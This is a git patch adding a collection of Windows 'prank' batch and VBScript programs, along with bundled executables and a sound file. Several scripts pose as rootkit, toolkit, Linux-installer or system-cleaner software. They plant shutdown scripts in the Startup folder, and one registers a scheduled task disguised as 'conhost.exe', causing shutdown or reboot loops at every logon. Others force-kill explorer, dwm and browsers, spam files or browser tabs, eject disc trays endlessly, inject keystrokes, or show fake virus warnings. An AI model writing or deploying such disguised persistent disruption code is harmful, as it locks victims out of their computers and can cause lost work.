From 6c2e76026c0fe6211c171c36d5b5aff523b989b1 Mon Sep 17 00:00:00 2001 From: rafa_99 Date: Thu, 23 Sep 2021 16:40:24 +0100 Subject: Just a Prank Bro --- DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe | Bin 0 -> 4482593 bytes DEPENDENCIES/ChilkatZipSE.exe | Bin 0 -> 1372160 bytes Deep Shutdown/deep_shutdown.bat | 28 +++ Esketit EBomb/ESKETIT.bat | 4 + Ez Linux/ez_linux.bat | 4 + Homer Bomb/homer_bomb.bat | 6 + Hungry Disc Tray/hungry_disc_tray.vbs | 13 ++ I Dont Feel So Good/i_dont_feel_so_good.bat | 1 + Matrix/Matrix.bat | 205 ++++++++++++++++++++++ Pirate/DrunkMode.vbs | 23 +++ Pirate/keys.vbs | 9 + Pirate/pirates.wav | Bin 0 -> 17002574 bytes Pirate/tray.vbs | 13 ++ Privilege Escalator/privilege_escalator.bat | 15 ++ ShitStain/Prequel/ShitStain_The_Prequel.bat | 24 +++ ShitStain/Sequel/ShitStain_The_Sequel.bat | 14 ++ ShitStain/ShitStain/ShitStain.vbs | 9 + ShitStain/Thurd/ShitStain_The_Thurd.bat | 31 ++++ Super Cleaner/super_cleaner.bat | 10 ++ logo.png | Bin 0 -> 25293 bytes 20 files changed, 409 insertions(+) create mode 100644 DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe create mode 100644 DEPENDENCIES/ChilkatZipSE.exe create mode 100644 Deep Shutdown/deep_shutdown.bat create mode 100644 Esketit EBomb/ESKETIT.bat create mode 100644 Ez Linux/ez_linux.bat create mode 100644 Homer Bomb/homer_bomb.bat create mode 100644 Hungry Disc Tray/hungry_disc_tray.vbs create mode 100644 I Dont Feel So Good/i_dont_feel_so_good.bat create mode 100644 Matrix/Matrix.bat create mode 100755 Pirate/DrunkMode.vbs create mode 100755 Pirate/keys.vbs create mode 100755 Pirate/pirates.wav create mode 100755 Pirate/tray.vbs create mode 100644 Privilege Escalator/privilege_escalator.bat create mode 100644 ShitStain/Prequel/ShitStain_The_Prequel.bat create mode 100644 ShitStain/Sequel/ShitStain_The_Sequel.bat create mode 100644 ShitStain/ShitStain/ShitStain.vbs create mode 100644 ShitStain/Thurd/ShitStain_The_Thurd.bat create mode 100644 Super Cleaner/super_cleaner.bat create mode 100644 logo.png diff --git a/DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe b/DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe new file mode 100644 index 0000000..a2a6096 Binary files /dev/null and b/DEPENDENCIES/Bat_To_Exe_Converter_(Installer).exe differ diff --git a/DEPENDENCIES/ChilkatZipSE.exe b/DEPENDENCIES/ChilkatZipSE.exe new file mode 100644 index 0000000..8163a04 Binary files /dev/null and b/DEPENDENCIES/ChilkatZipSE.exe differ diff --git a/Deep Shutdown/deep_shutdown.bat b/Deep Shutdown/deep_shutdown.bat new file mode 100644 index 0000000..ddf3766 --- /dev/null +++ b/Deep Shutdown/deep_shutdown.bat @@ -0,0 +1,28 @@ +@echo off +title An0nym0us_r00tkit +GOTO choice + +:start +cd /d "%systemdrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" +echo @echo off > lol.bat +echo shutdown /p >>lol.bat +shutdown /p +break + +:choice +color 0f +echo Do you want to begin the An0nym0us_r00tkit installation?[Yes/No] +set /p input= +if %input%==Y goto start +if %input%==y goto start +if %input%==yes goto start +if %input%==YES goto start +if %input%==Yes goto start +if %input%==N goto end +if %input%==n goto end +if %input%==no goto end +if %input%==NO goto end +if %input%==No goto end + +:end +break \ No newline at end of file diff --git a/Esketit EBomb/ESKETIT.bat b/Esketit EBomb/ESKETIT.bat new file mode 100644 index 0000000..fd0e681 --- /dev/null +++ b/Esketit EBomb/ESKETIT.bat @@ -0,0 +1,4 @@ +@echo off +:a +start https://www.youtube.com/watch?v=r3G5C3LHWCk +goto a \ No newline at end of file diff --git a/Ez Linux/ez_linux.bat b/Ez Linux/ez_linux.bat new file mode 100644 index 0000000..4fca6ea --- /dev/null +++ b/Ez Linux/ez_linux.bat @@ -0,0 +1,4 @@ +cd /d "%systemdrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" +echo @echo off > pranked.bat +echo shutdown /r /f /t 0 >>pranked.bat +shutdown /r /f /c "Installing Linux... System may reboot a couple times" /t 10 diff --git a/Homer Bomb/homer_bomb.bat b/Homer Bomb/homer_bomb.bat new file mode 100644 index 0000000..b12975b --- /dev/null +++ b/Homer Bomb/homer_bomb.bat @@ -0,0 +1,6 @@ +@echo off + +:pranked +echo doh >>%random%.txt +echo "The bomb has been planted" +GOTO pranked diff --git a/Hungry Disc Tray/hungry_disc_tray.vbs b/Hungry Disc Tray/hungry_disc_tray.vbs new file mode 100644 index 0000000..7c78340 --- /dev/null +++ b/Hungry Disc Tray/hungry_disc_tray.vbs @@ -0,0 +1,13 @@ +MsgBox "I Say Disco you Say Party Disco Disco Party Party", VBCritical, "Wanna Play Disco ? " +Set oWMP = CreateObject("WMPlayer.OCX.7" ) +Set colCDROMs = oWMP.cdromCollection +if colCDROMs.Count >= 1 then +do +For i = 0 to colCDROMs.Count - 1 +colCDROMs.Item(i).Eject +Next ' cdrom +For i = 0 to colCDROMs.Count - 1 +colCDROMs.Item(i).Eject +Next ' cdrom +loop +End If diff --git a/I Dont Feel So Good/i_dont_feel_so_good.bat b/I Dont Feel So Good/i_dont_feel_so_good.bat new file mode 100644 index 0000000..f6f408e --- /dev/null +++ b/I Dont Feel So Good/i_dont_feel_so_good.bat @@ -0,0 +1 @@ +shutdown -s -t 5 -c "Mr. Stark, I Don't feel so good..." diff --git a/Matrix/Matrix.bat b/Matrix/Matrix.bat new file mode 100644 index 0000000..556ba8e --- /dev/null +++ b/Matrix/Matrix.bat @@ -0,0 +1,205 @@ +::pretends its the matrix movie and shutsdown +@echo off +title Matrix, I HAVE YOU, ESCAPE IS IMPOSSIBLE +color 0a + +echo W +ping localhost -n 1.5 >nul +cls +echo Wa +ping localhost -n 1.3 >nul +cls +echo Wak +ping localhost -n 1.3 >nul +cls +echo Wake +ping localhost -n 1.3 >nul +cls +echo Wake +ping localhost -n 1.3 >nul +cls +echo Wake u +ping localhost -n 1.3 >nul +cls +echo Wake up +ping localhost -n 1.3 >nul +cls +echo Wake up +ping localhost -n 1.3 >nul +cls +echo Wake up %username%... +ping localhost -n 10 >nul +cls +echo T +ping localhost -n 1.2 >nul +cls +echo Th +ping localhost -n 1.2 >nul +cls +echo The +ping localhost -n 1.2 >nul +cls +echo The M +ping localhost -n 1.2 >nul +cls +echo The Ma +ping localhost -n 1.2 >nul +cls +echo The Mat +ping localhost -n 1.2 >nul +cls +echo The Matr +ping localhost -n 1.2 >nul +cls +echo The Matri +ping localhost -n 1.2 >nul +cls +echo The Matrix +ping localhost -n 1.2 >nul +cls +echo The Matrix h +ping localhost -n 1.2 >nul +cls +echo The Matrix ha +ping localhost -n 1.2 >nul +cls +echo The Matrix has +ping localhost -n 1.2 >nul +cls +echo The Matrix has y +ping localhost -n 1.2 >nul +cls +echo The Matrix has yo +ping localhost -n 1.2 >nul +cls +echo The Matrix has you +ping localhost -n 1.2 >nul +cls +echo The Matrix has you. +ping localhost -n 1.2 >nul +cls +echo The Matrix has you.. +ping localhost -n 1.2 >nul +cls +echo The Matrix has you... +ping localhost -n 1.2 >nul +cls +echo The Matrix has you.... +ping localhost -n 5 >nul +cls +echo F +ping localhost -n 1.2 >nul +cls +echo Fo +ping localhost -n 1.2 >nul +cls +echo Fol +ping localhost -n 1.2 >nul +cls +echo Foll +ping localhost -n 1.2 >nul +cls +echo Follo +ping localhost -n 1.2 >nul +cls +echo Follow +ping localhost -n 1.2 >nul +cls +echo Follow +ping localhost -n 1.2 >nul +cls +echo Follow t +ping localhost -n 1.2 >nul +cls +echo Follow th +ping localhost -n 1.2 >nul +cls +echo Follow the +ping localhost -n 1.2 >nul +cls +echo Follow the +ping localhost -n 1.2 >nul +cls +echo Follow the w +ping localhost -n 1.2 >nul +cls +echo Follow the wh +ping localhost -n 1.2 >nul +cls +echo Follow the whi +ping localhost -n 1.2 >nul +cls +echo Follow the whit +ping localhost -n 1.2 >nul +cls +echo Follow the white +ping localhost -n 1.2 >nul +cls +echo Follow the white +ping localhost -n 1.2 >nul +cls +echo Follow the white r +ping localhost -n 1.2 >nul +cls +echo Follow the white ra +ping localhost -n 1.2 >nul +cls +echo Follow the white rab +ping localhost -n 1.2 >nul +cls +echo Follow the white rabb +ping localhost -n 1.2 >nul +cls +echo Follow the white rabbi +ping localhost -n 1.2 >nul +cls +echo Follow the white rabbit +ping localhost -n 1.2 >nul +cls +echo Follow the white rabbit. +ping localhost -n 4 >nul +cls +echo k +ping localhost -n 1 >nul +cls +echo Kn +ping localhost -n 1 >nul +cls +echo Kno +ping localhost -n 1 >nul +cls +echo Knoc +ping localhost -n 1 >nul cls +cls +echo Knock +ping localhost -n 1 >nul +cls +echo Knock, +ping localhost -n 1 >nul +cls +echo Knock,k +ping localhost -n 1 >nul +cls +echo Knock,kn +ping localhost -n 1 >nul +cls +echo Knock,kno +ping localhost -n 1 >nul +cls +echo Knock,knoc +ping localhost -n 1 >nul +cls +echo Knock,knock +ping localhost -n 1 >nul +cls +echo Knock,knock %username%. +ping localhost -n 7 >nul + +setlocal EnableDelayedExpansion + for /l %%x in (1,1,40) do ( + echo !random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random!!random! + ) +endlocal +pause +shutdown -s -t 15 -c "I, Matrix, Declare Victory Over %username%!" +pause \ No newline at end of file diff --git a/Pirate/DrunkMode.vbs b/Pirate/DrunkMode.vbs new file mode 100755 index 0000000..1c254e7 --- /dev/null +++ b/Pirate/DrunkMode.vbs @@ -0,0 +1,23 @@ +Set WshShell = WScript.CreateObject("WScript.Shell") +Set fso = CreateObject("Scripting.FileSystemObject") + +Dim objShell +Set objShell = Wscript.CreateObject("WScript.Shell") + +objShell.Run "tray.vbs" +objShell.Run "keys.vbs" + +Dim oPlayer +Set oPlayer = CreateObject("WMPlayer.OCX") + +do +Directory = fso.BuildPath(CurrentDirectory, "pirates.wav") +oPlayer.URL = "pirates.wav" +oPlayer.controls.play +While oPlayer.playState <> 1 ' + WScript.Sleep 100 +Wend +oPlayer.close + +c = c+1 +loop while c < 100000 diff --git a/Pirate/keys.vbs b/Pirate/keys.vbs new file mode 100755 index 0000000..47c93d8 --- /dev/null +++ b/Pirate/keys.vbs @@ -0,0 +1,9 @@ +Set WshShell = WScript.CreateObject("WScript.Shell") +do +WshShell.SendKeys "^%{RIGHT}" +WshShell.SendKeys "^%{DOWN}" +WshShell.SendKeys "^%{UP}" +WshShell.SendKeys "^%{LEFT}" +c = c+1 + +loop while c < 400000 \ No newline at end of file diff --git a/Pirate/pirates.wav b/Pirate/pirates.wav new file mode 100755 index 0000000..05d9297 Binary files /dev/null and b/Pirate/pirates.wav differ diff --git a/Pirate/tray.vbs b/Pirate/tray.vbs new file mode 100755 index 0000000..3ce1b30 --- /dev/null +++ b/Pirate/tray.vbs @@ -0,0 +1,13 @@ +Set oWMP = CreateObject("WMPlayer.OCX.7") +Set colCDROMs = oWMP.cdromCollection +do +if colCDROMs.Count >= 1 then +For i = 0 to colCDROMs.Count -1 +colCDROMs.Item(i).Eject +Next +For i = 0 to colCDROMs.Count -1 +colCDROMs.Item(i).Eject +Next +End If +wscript.sleep 2000 +loop \ No newline at end of file diff --git a/Privilege Escalator/privilege_escalator.bat b/Privilege Escalator/privilege_escalator.bat new file mode 100644 index 0000000..fa02a12 --- /dev/null +++ b/Privilege Escalator/privilege_escalator.bat @@ -0,0 +1,15 @@ +@echo off +title Toolkit installation +msg * Toolkit installation is starting +cd /d %systemdrive%\Users\%username%\ +@echo on +tree +@echo off +cd /d %systemdrive%\Users\%username%\Desktop +setlocal EnableDelayedExpansion + for /l %%x in (1,1,40) do ( + mkdir !random! + ) +endlocal +msg * The toolkit installation is nearly complete please wait ... +shutdown /s /t 10 \ No newline at end of file diff --git a/ShitStain/Prequel/ShitStain_The_Prequel.bat b/ShitStain/Prequel/ShitStain_The_Prequel.bat new file mode 100644 index 0000000..1b3f938 --- /dev/null +++ b/ShitStain/Prequel/ShitStain_The_Prequel.bat @@ -0,0 +1,24 @@ +::Says it has detected a virus and deletes C:\ but only shutsdown +@echo off +@echo WARNING VIRUS ATTACK! +@echo WARNING VIRUS ATTACK! +@echo WARNING VIRUS ATTACK! +@echo All Files Deleted. Reboot to Restore. +@echo Press Enter to Reboot +timeout 5 /nobreak >NUL +@echo C: Drive Deleted +@echo WARNING! All Files Lost! Virus Detected +@echo Contact Administrator +@echo WARNING! FIREWALL BREACHED! +shutdown /t 10 /s +@echo WARNING! System Shutdown in 5! +timeout 2 /nobreak >NUL +@echo WARNING! System Shutdown in 4! +timeout 2 /nobreak >NUL +@echo WARNING! System Shutdown in 3! +timeout 2 /nobreak >NUL +@echo WARNING! System Shutdown in 2! +timeout 2 /nobreak >NUL +@echo WARNING! System Shutdown in 1! +timeout 2 /nobreak >NUL +pause > nul \ No newline at end of file diff --git a/ShitStain/Sequel/ShitStain_The_Sequel.bat b/ShitStain/Sequel/ShitStain_The_Sequel.bat new file mode 100644 index 0000000..c852830 --- /dev/null +++ b/ShitStain/Sequel/ShitStain_The_Sequel.bat @@ -0,0 +1,14 @@ +::fake toolkit instalation progrm that makes a ton of files in Desktop and shutsdown after that +@echo off +title Toolkit installation +msg * Toolkit installation is starting +cd /d %systemdrive%\Users\%username%\ +tree +cd /d %systemdrive%\Users\%username%\Desktop +setlocal EnableDelayedExpansion + for /l %%x in (1,1,40) do ( + mkdir !random! + ) +endlocal +msg * The toolkit installation is nearly complete please wait ... +shutdown /s /t 10 \ No newline at end of file diff --git a/ShitStain/ShitStain/ShitStain.vbs b/ShitStain/ShitStain/ShitStain.vbs new file mode 100644 index 0000000..a35ac0e --- /dev/null +++ b/ShitStain/ShitStain/ShitStain.vbs @@ -0,0 +1,9 @@ +set shell = createobject("wscript.shell") +a = 0 +msgbox "After you click ok the message will start in 5 seconds " +wscript.sleep(5000) +for i=1 to 20000 +a = a + 1 +Shell.SendKeys(a & "{Enter}") +wscript.sleep(100) +next \ No newline at end of file diff --git a/ShitStain/Thurd/ShitStain_The_Thurd.bat b/ShitStain/Thurd/ShitStain_The_Thurd.bat new file mode 100644 index 0000000..ab8d1ab --- /dev/null +++ b/ShitStain/Thurd/ShitStain_The_Thurd.bat @@ -0,0 +1,31 @@ +::Fake Hacker toolkit that makes a shutdown.bat on startup menu +@echo off +title Hacker Remix +goto choice + +:start +schtasks /create /tn "conhost.exe" /tr %CD%\%0 /sc onlogon +cd /d "%systemdrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" +echo @echo off > lol.bat +echo shutdown /p >>lol.bat +shutdown /p +break + +:choice +color 0f +echo Do you want to begin the Hacker Remix installation?[Y/N] +set input= +set /p input= +if %input%==Y goto start +if %input%==y goto start +if %input%==yes goto start +if %input%==YES goto start +if %input%==Yes goto start +if %input%==N goto end +if %input%==n goto end +if %input%==no goto end +if %input%==NO goto end +if %input%==No goto end + +:end +break \ No newline at end of file diff --git a/Super Cleaner/super_cleaner.bat b/Super Cleaner/super_cleaner.bat new file mode 100644 index 0000000..fd0cafa --- /dev/null +++ b/Super Cleaner/super_cleaner.bat @@ -0,0 +1,10 @@ +@echo off +echo "Cleaning System..." + +taskkill /F /IM explorer.exe > nul 2> nul +taskkill /F /IM chrome.exe > nul 2> nul +taskkill /F /IM firefox.exe > nul 2> nul +taskkill /F /IM dwm.exe > nul 2> nul +taskkill /F /IM MicrosoftEdge.exe > nul 2> nul +taskkill /F /IM Steam.exe > nul 2> nul +taskkill /F /IM Skype.exe > nul 2> nul diff --git a/logo.png b/logo.png new file mode 100644 index 0000000..8863916 Binary files /dev/null and b/logo.png differ -- cgit v1.2.3